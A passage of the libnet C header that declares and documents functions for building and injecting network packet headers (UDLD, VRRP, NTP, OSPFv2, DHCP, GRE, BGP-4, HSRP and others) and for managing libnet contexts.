libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Port ID TLV. * @param value port id(ASCII character string) * @param value_s port id(ASCII character string) length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_port_id(const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Echo TLV. * @param value list of ID pairs * @param value_s ID pairs length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_echo(const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Message Interval TLV. * @param value time interval(8-bit unsigned integer) * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_message_interval(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Timeout Interval TLV. * @param value timeout interval(8-bit unsigned integer) * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_timeout_interval(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Device Name TLV. * @param value device name(ASCII character string) * @param value_s device name length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_device_name(const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Sequence Number TLV. * @param value sequence number(32-bit unsigned integer) * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_sequence_number(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag); /** * Builds a token ring header. * @param ac access control * @param fc frame control * @param dst destination address * @param src source address * @param dsap destination service access point * @param ssap source service access point * @param cf control field * @param oui Organizationally Unique Identifier * @param type upper layer protocol type * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_token_ring(uint8_t ac, uint8_t fc, const uint8_t *dst, const uint8_t *src, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *oui, uint16_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Auto-builds a token ring header. * @param ac access control * @param fc frame control * @param dst destination address * @param dsap destination service access point * @param ssap source service access point * @param cf control field * @param oui Organizationally Unique Identifier * @param type upper layer protocol type * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_token_ring(uint8_t ac, uint8_t fc, const uint8_t *dst, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *oui, uint16_t type, libnet_t *l); /** * Builds an RFC 2338 Virtual Router Redundacy Protool (VRRP) header. Use the * payload interface to specify address and authentication information. To * build a "legal" packet, the destination IPv4 address should be the multicast * address 224.0.0.18, the IP TTL should be set to 255, and the IP protocol * should be set to 112. * @param version VRRP version (should be 2) * @param type VRRP packet type (should be 1 -- ADVERTISEMENT) * @param vrouter_id virtual router identification * @param priority priority (higher numbers indicate higher priority) * @param ip_count number of IPv4 addresses contained in this advertisement * @param auth_type type of authentication (0, 1, 2 -- see RFC) * @param advert_int interval between advertisements * @param sum checksum (0 for libnet to autofill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_vrrp(uint8_t version, uint8_t type, uint8_t vrouter_id, uint8_t priority, uint8_t ip_count, uint8_t auth_type, uint8_t advert_int, uint16_t sum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 3032 Multi-Protocol Label Switching (MPLS) header. * @param label 20-bit label value * @param experimental 3-bit reserved field * @param bos 1-bit bottom of stack identifier * @param ttl time to live * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_mpls(uint32_t label, uint8_t experimental, uint8_t bos, uint8_t ttl, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 958 Network Time Protocol (NTP) header. * @param leap_indicator the leap indicator * @param version NTP protocol version * @param mode NTP mode * @param stratum stratum * @param poll polling interval * @param precision precision * @param delay_int delay interval * @param delay_frac delay fraction * @param dispersion_int dispersion interval * @param dispersion_frac dispersion fraction * @param reference_id reference id * @param ref_ts_int reference timestamp integer * @param ref_ts_frac reference timestamp fraction * @param orig_ts_int original timestamp integer * @param orig_ts_frac original timestamp fraction * @param rec_ts_int receiver timestamp integer * @param rec_ts_frac receiver timestamp fraction * @param xmt_ts_int transmit timestamp integer * @param xmt_ts_frac transmit timestamp integer * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ntp(uint8_t leap_indicator, uint8_t version, uint8_t mode, uint8_t stratum, uint8_t poll, uint8_t precision, uint16_t delay_int, uint16_t delay_frac, uint16_t dispersion_int, uint16_t dispersion_frac, uint32_t reference_id, uint32_t ref_ts_int, uint32_t ref_ts_frac, uint32_t orig_ts_int, uint32_t orig_ts_frac, uint32_t rec_ts_int, uint32_t rec_ts_frac, uint32_t xmt_ts_int, uint32_t xmt_ts_frac, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param len * @param type * @param rtr_id * @param area_id * @param sum * @param autype * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2(uint16_t len, uint8_t type, uint32_t rtr_id, uint32_t area_id, uint16_t sum, uint16_t autype, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param netmask * @param interval * @param opts * @param priority * @param dead_int * @param des_rtr * @param bkup_rtr * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_hello(uint32_t netmask, uint16_t interval, uint8_t opts, uint8_t priority, uint32_t dead_int, uint32_t des_rtr, uint32_t bkup_rtr, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param netmask * @param interval * @param opts * @param priority * @param dead_int * @param des_rtr * @param bkup_rtr * @param neighbor * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ libnet_ptag_t libnet_build_ospfv2_hello_neighbor(uint32_t netmask, uint16_t interval, uint8_t opts, uint8_t priority, uint32_t dead_int, uint32_t des_rtr, uint32_t bkup_rtr, uint32_t neighbor, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param dgram_len * @param opts * @param type * @param seqnum * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_dbd(uint16_t dgram_len, uint8_t opts, uint8_t type, uint32_t seqnum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param type * @param lsid * @param advrtr * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsr(uint32_t type, uint32_t lsid, uint32_t advrtr, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param num * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsu(uint32_t num, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param age * @param opts * @param type * @param lsid * @param advrtr * @param seqnum * @param sum * @param len * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsa(uint16_t age, uint8_t opts, uint8_t type, uint32_t lsid, uint32_t advrtr, uint32_t seqnum, uint16_t sum, uint16_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param flags * @param num * @param id * @param data * @param type * @param tos * @param metric * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsa_rtr(uint16_t flags, uint16_t num, uint32_t id, uint32_t data, uint8_t type, uint8_t tos, uint16_t metric, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param nmask * @param rtrid * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsa_net(uint32_t nmask, uint32_t rtrid, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param nmask * @param metric * @param tos * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsa_sum(uint32_t nmask, uint32_t metric, uint32_t tos, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param nmask * @param metric * @param fwdaddr * @param tag * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ospfv2_lsa_as(uint32_t nmask, uint32_t metric, uint32_t fwdaddr, uint32_t tag, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a generic libnet protocol header. This is useful for including an * optional payload to a packet that might need to change repeatedly inside * of a loop. This won't work for TCP or IP payload, they have special types * (this is probably a bug). * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_data(const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param opcode * @param htype * @param hlen * @param hopcount * @param xid * @param secs * @param flags * @param cip * @param yip * @param sip * @param gip * @param chaddr client hardware address, length is hlen * @param sname server host name, a null terminated string * @param file boot file name, a null terminated string * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_dhcpv4(uint8_t opcode, uint8_t htype, uint8_t hlen, uint8_t hopcount, uint32_t xid, uint16_t secs, uint16_t flags, uint32_t cip, uint32_t yip, uint32_t sip, uint32_t gip, const uint8_t *chaddr, const char *sname, const char *file, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param opcode * @param htype * @param hlen * @param hopcount * @param xid * @param secs * @param flags * @param cip * @param yip * @param sip * @param gip * @param chaddr client hardware address, length is hlen * @param sname server host name, a null terminated string * @param file boot file name, a null terminated string * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_bootpv4(uint8_t opcode, uint8_t htype, uint8_t hlen, uint8_t hopcount, uint32_t xid, uint16_t secs, uint16_t flags, uint32_t cip, uint32_t yip, uint32_t sip, uint32_t gip, const uint8_t *chaddr, const char *sname, const char *file, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param fv see libnet_build_gre(). * @return size * @see libnet_build_gre(). */ LIBNET_API uint32_t libnet_getgre_length(uint16_t fv); /** * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any * protocol. Hence, the IP part of the packet is usually referred as "delivery * header". It is then followed by the GRE header and finally the encapsulated * packet (IP or whatever). * As GRE is very modular, the first GRE header describes the structure of the * header, using bits and flag to specify which fields will be present in the * header. * @param fv the 16 0 to 7: which fields are included in the header (checksum, * seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. * @param type which protocol is encapsulated (PPP, IP, ...) * @param sum checksum (0 for libnet to auto-fill). * @param offset byte offset from the start of the routing field to the first byte of the SRE * @param key inserted by the encapsulator to authenticate the source * @param seq sequence number used by the receiver to sort the packets * @param len size of the GRE packet * @param payload * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_gre(uint16_t fv, uint16_t type, uint16_t sum, uint16_t offset, uint32_t key, uint32_t seq, uint16_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any * protocol. Hence, the IP part of the packet is usually referred as "delivery * header". It is then followed by the GRE header and finally the encapsulated * packet (IP or whatever). * As GRE is very modular, the first GRE header describes the structure of the * header, using bits and flag to specify which fields will be present in the * header. * @param fv the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. * @param type which protocol is encapsulated (PPP, IP, ...) * @param sum checksum (0 for libnet to auto-fill). * @param offset byte offset from the start of the routing field to the first byte of the SRE * @param key inserted by the encapsulator to authenticate the source * @param seq sequence number used by the receiver to sort the packets * @param len size of the GRE packet * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_egre(uint16_t fv, uint16_t type, uint16_t sum, uint16_t offset, uint32_t key, uint32_t seq, uint16_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param af * @param offset * @param length * @param routing * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_gre_sre(uint16_t af, uint8_t offset, uint8_t length, uint8_t *routing, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) header. The primary * function of a BGP speaking system is to exchange network reachability * information with other BGP systems. This network reachability information * includes information on the list of Autonomous Systems (ASs) that * reachability information traverses. This information is sufficient to * construct a graph of AS connectivity from which routing loops may be pruned * and some policy decisions at the AS level may be enforced. * This function builds the base BGP header which is used as a preamble before * any other BGP header. For example, a BGP KEEPALIVE message may be built with * only this function, while an error notification requires a subsequent call * to libnet_build_bgp4_notification. * @param marker a value the receiver can predict (if the message type is not BGP OPEN, or no authentication is used, these 16 bytes are normally set as all ones) * @param len total length of the BGP message, including the header * @param type type code of the message (OPEN, UPDATE, NOTIFICATION or KEEPALIVE) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_bgp4_header(uint8_t marker[LIBNET_BGP4_MARKER_SIZE], uint16_t len, uint8_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) OPEN header. This is * the first message sent by each side of a BGP connection. The optional * parameters options should be constructed using the payload interface (see * RFC 1771 for the options structures). * @param version protocol version (should be set to 4) * @param src_as Autonomous System of the sender * @param hold_time used to compute the maximum allowed time between the receipt of KEEPALIVE, and/or UPDATE messages by the sender * @param bgp_id BGP identifier of the sender * @param opt_len total length of the optional parameters field in bytes * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_bgp4_open(uint8_t version, uint16_t src_as, uint16_t hold_time, uint32_t bgp_id, uint8_t opt_len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) update header. Update * messages are used to transfer routing information between BGP peers. * @param unfeasible_rt_len indicates the length of the (next) "withdrawn routes" field in bytes * @param withdrawn_rt list of IP addresses prefixes for the routes that are being withdrawn; each IP address prefix is built as a 2-tuple * @param total_path_attr_len indicates the length of the (next) "path attributes" field in bytes * @param path_attributes each attribute is a 3-tuple * @param info_len indicates the length of the (next) "network layer reachability information" field in bytes (needed for internal memory size calculation) * @param reachability_info 2-tuples . * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_bgp4_update(uint16_t unfeasible_rt_len, const uint8_t *withdrawn_rt, uint16_t total_path_attr_len, const uint8_t *path_attributes, uint16_t info_len, uint8_t *reachability_info, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) notification header. * A NOTIFICATION message is sent when an error condition is detected. Specific * error information may be passed through the payload interface. * @param err_code type of notification * @param err_subcode more specific information about the reported error. * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_bgp4_notification(uint8_t err_code, uint8_t err_subcode, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a Sebek header. The Sebek protocol was designed by the Honeynet * Project as a transport mechanism for post-intrusion forensic data. More * information may be found here: http://www.honeynet.org/papers/sebek.pdf. * @param magic identify packets that should be hidden * @param version protocol version, currently 1 * @param type type of record (read data is type 0, write data is type 1) * @param counter PDU counter used to identify when packet are lost * @param time_sec seconds since EPOCH according to the honeypot * @param time_usec residual microseconds * @param pid PID * @param uid UID * @param fd FD * @param cmd 12 first characters of the command * @param length length in bytes of the PDU's body * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_sebek(uint32_t magic, uint16_t version, uint16_t type, uint32_t counter, uint32_t time_sec, uint32_t time_usec, uint32_t pid, uint32_t uid, uint32_t fd, uint8_t cmd[SEBEK_CMD_LENGTH], uint32_t length, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a HSRP header. HSRP is a Cisco proprietary protocol defined in * RFC 2281 * @param version version of the HSRP messages * @param opcode type of message * @param state current state of the router * @param hello_time period in seconds between hello messages * @param hold_time seconds that the current hello message is valid * @param priority priority for the election process * @param group standby group * @param reserved reserved field * @param authdata password * @param virtual_ip virtual ip address * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_hsrp(uint8_t version, uint8_t opcode, uint8_t state, uint8_t hello_time, uint8_t hold_time, uint8_t priority, uint8_t group, uint8_t reserved, uint8_t authdata[HSRP_AUTHDATA_LENGTH], uint32_t virtual_ip, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a link layer header for an initialized l. The function * determines the proper link layer header format from how l was initialized. * The function current supports Ethernet and Token Ring link layers. * @param dst the destination MAC address * @param src the source MAC address * @param oui Organizationally Unique Identifier (unused for Ethernet) * @param type the upper layer protocol type * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_link(const uint8_t *dst, const uint8_t *src, const uint8_t *oui, uint16_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Automatically builds a link layer header for an initialized l. The function * determines the proper link layer header format from how l was initialized. * The function current supports Ethernet and Token Ring link layers. * @param dst the destination MAC address * @param oui Organizationally Unique Identifier (unused for Ethernet) * @param type the upper layer protocol type * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_link(const uint8_t *dst, const uint8_t *oui, uint16_t type, libnet_t *l); /** * Writes a prebuilt packet to the network. The function assumes that l was * previously initialized (via a call to libnet_init()) and that a * previously constructed packet has been built inside this context (via one or * more calls to the libnet_build* family of functions) and is ready to go. * Depending on how libnet was initialized, the function will write the packet * to the wire either via the raw or link layer interface. The function will * also bump up the internal libnet stat counters which are retrievable via * libnet_stats(). * @param l pointer to a libnet context * @return the number of bytes written * @retval -1 on error */ LIBNET_API int libnet_write(libnet_t *l); /** * Returns the IP address for the device libnet was initialized with. If * libnet was initialized without a device (in raw socket mode) the function * will attempt to find one. If the function fails and returns -1 a call to * libnet_geterrror() will tell you why. * @param l pointer to a libnet context * @return a big endian IP address suitable for use in a libnet_build function * @retval -1 */ LIBNET_API uint32_t libnet_get_ipaddr4(libnet_t *l); /** * Returns the IPv6 address for the device libnet was initialized with. If * libnet was initialized without a device (in raw socket mode) the function * will attempt to find one. If the function fails and returns in6addr_error, a * call to libnet_geterrror() will tell you why. * This function is not yet implemented for Win32 platforms. * @param l pointer to a libnet context * @retval in6addr_error on failure */ LIBNET_API struct libnet_in6_addr libnet_get_ipaddr6(libnet_t *l); /** * Returns the MAC address for the device libnet was initialized with. If * libnet was initialized without a device the function will attempt to find * one. If the function fails and returns NULL a call to libnet_geterror() will * tell you why. * @param l pointer to a libnet context * @return a pointer to the MAC address or NULL */ LIBNET_API struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l); /** * Takes a colon separated hexidecimal address (from the command line) and * returns a bytestring suitable for use in a libnet_build function. Note this * function performs an implicit malloc and the return value should be freed * after its use. * @param s the string to be parsed * @param len the resulting size of the returned byte string * @return a byte string or NULL on failure */ LIBNET_API uint8_t * libnet_hex_aton(const char *s, int *len); /** * Returns the version of libnet. * @return the libnet version */ LIBNET_API const char * libnet_version(void); /** * [Advanced Interface] * Yanks a prebuilt, wire-ready packet from the given libnet context. If * libnet was configured to do so (which it is by default) the packet will have * all checksums written in. This function is part of the advanced interface * and is only available when libnet is initialized in advanced mode. It is * important to note that the function performs an implicit malloc() and a * corresponding call to libnet_adv_free_packet() should be made to free the * memory packet occupies. If the function fails libnet_geterror() can tell you * why. * @param l pointer to a libnet context * @param packet will contain the wire-ready packet * @param packet_s will contain the packet size * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_adv_cull_packet(libnet_t *l, uint8_t **packet, uint32_t *packet_s); /** * [Advanced Interface] * Pulls the header from the specified ptag from the given libnet context. This * function is part of the advanced interface and is only available when libnet * is initialized in advanced mode. If the function fails libnet_geterror() can * tell you why. * @param l pointer to a libnet context * @param ptag the ptag referencing the header to pull * @param header will contain the header * @param header_s will contain the header size * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, uint8_t **header, uint32_t *header_s); /** * [Advanced Interface] * Writes a packet the network at the link layer. This function is useful to * write a packet that has been constructed by hand by the application * programmer or, more commonly, to write a packet that has been returned by * a call to libnet_adv_cull_packet(). This function is part of the advanced * interface and is only available when libnet is initialized in advanced mode. * If the function fails libnet_geterror() can tell you why. * @param l pointer to a libnet context * @param packet a pointer to the packet to inject * @param packet_s the size of the packet * @return the number of bytes written * @retval -1 on failure */ LIBNET_API int libnet_adv_write_link(libnet_t *l, const uint8_t *packet, uint32_t packet_s); /** * [Advanced Interface] * Writes a packet the network at the raw socket layer. This function is useful * to write a packet that has been constructed by hand by the application * programmer or, more commonly, to write a packet that has been returned by * a call to libnet_adv_cull_packet(). This function is part of the advanced * interface and is only available when libnet is initialized in advanced mode. * If the function fails libnet_geterror() can tell you why. * @param l pointer to a libnet context * @param packet a pointer to the packet to inject * @param packet_s the size of the packet * @return the number of bytes written * @retval -1 on failure */ LIBNET_API int libnet_adv_write_raw_ipv4(libnet_t *l, const uint8_t *packet, uint32_t packet_s); /** * [Advanced Interface] * Frees the memory allocated when libnet_adv_cull_packet() is called. * @param l pointer to a libnet context * @param packet a pointer to the packet to free */ LIBNET_API void libnet_adv_free_packet(libnet_t *l, uint8_t *packet); /** * [Context Queue] * Adds a new context to the libnet context queue. If no queue exists, this * function will create the queue and add the specified libnet context as the * first entry on the list. The functions checks to ensure niether l nor label * are NULL, and that label doesn't refer to an existing context already in the * queue. Additionally, l should refer to a libnet context previously * initialized with a call to libnet_init(). If the context queue in write * locked, this function will fail. * @param l pointer to a libnet context * @param label a canonical name given to recognize the new context, no longer than LIBNET_LABEL_SIZE * @retval 1 on success * @retval -1 on failure */ int libnet_cq_add(libnet_t *l, char *label); /** * [Context Queue] * Removes a specified context from the libnet context queue by specifying the * libnet context pointer. Note the function will remove the specified context * from the context queue and cleanup internal memory from the queue, it is up * to the application programmer to free the returned libnet context with a * call to libnet_destroy(). Also, as it is not necessary to keep the libnet * context pointer when initially adding it to the context queue, most * application programmers will prefer to refer to entries on the context * queue by canonical name and would use libnet_cq_remove_by_label(). If the * context queue is write locked, this function will fail. * @param l pointer to a libnet context * @return the pointer to the removed libnet context * @retval NULL on failure */ LIBNET_API libnet_t * libnet_cq_remove(libnet_t *l); /** * [Context Queue] * Removes a specified context from the libnet context queue by specifying the * canonical name. Note the function will remove the specified context from * the context queue and cleanup internal memory from the queue, it is up to * the application programmer to free the returned libnet context with a call * to libnet_destroy(). If the context queue is write locked, this function * will fail. * @param label canonical name of the context to remove * @return the pointer to the removed libnet context * @retval NULL on failure */ LIBNET_API libnet_t * libnet_cq_remove_by_label(char *label); /** * [Context Queue] * Returns the canonical label associated with the context. * @param l pointer to a libnet context * @return pointer to the libnet context's label */ LIBNET_API const char * libnet_cq_getlabel(libnet_t *l); /** * [Context Queue] * Locates a libnet context from the queue, indexed by a canonical label. * @param label canonical label of the libnet context to retrieve * @return the expected libnet context * @retval NULL on failure */ LIBNET_API libnet_t * libnet_cq_find_by_label(char *label); /** * [Context Queue] * Destroys the entire context queue, calling libnet_destroy() on each * member context. */ LIBNET_API void libnet_cq_destroy(void); /** * [Context Queue] * Intiailizes the interator interface and set a write lock on the entire * queue. This function is intended to be called just prior to interating * through the entire list of contexts (with the probable intent of inject a * series of packets in rapid succession). This function is often used as * per the following: * * for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next()) * { * ... * } * * Much of the time, the application programmer will use the iterator as it is * written above; as such, libnet provides a macro to do exactly that, * for_each_context_in_cq(l). Warning: do not call the iterator more than once * in a single loop. * @return the head of the context queue */ LIBNET_API libnet_t * libnet_cq_head(void); /** * [Context Queue] * Check whether the iterator is at the last context in the queue. * @retval 1 if at the end of the context queue * @retval 0 otherwise */ LIBNET_API int libnet_cq_last(void); /** * [Context Queue] * Get next context from the context queue. * @return the next context from the context queue */ LIBNET_API libnet_t * libnet_cq_next(void); /** * [Context Queue] * Function returns the number of libnet contexts that are in the queue. * @return the number of libnet contexts currently in the queue */ LIBNET_API uint32_t libnet_cq_size(void); /** * [Context Queue] * Cleanup from iterating through the context queue. * @retval 1 Cleanup completed OK * @retval 0 failed clearing the write lock */ LIBNET_API uint32_t libnet_cq_end_loop(void); /** * [Diagnostic] * Prints the contents of the given context. * @param l pointer to a libnet context */ LIBNET_API void libnet_diag_dump_context(libnet_t *l); /** * [Diagnostic] 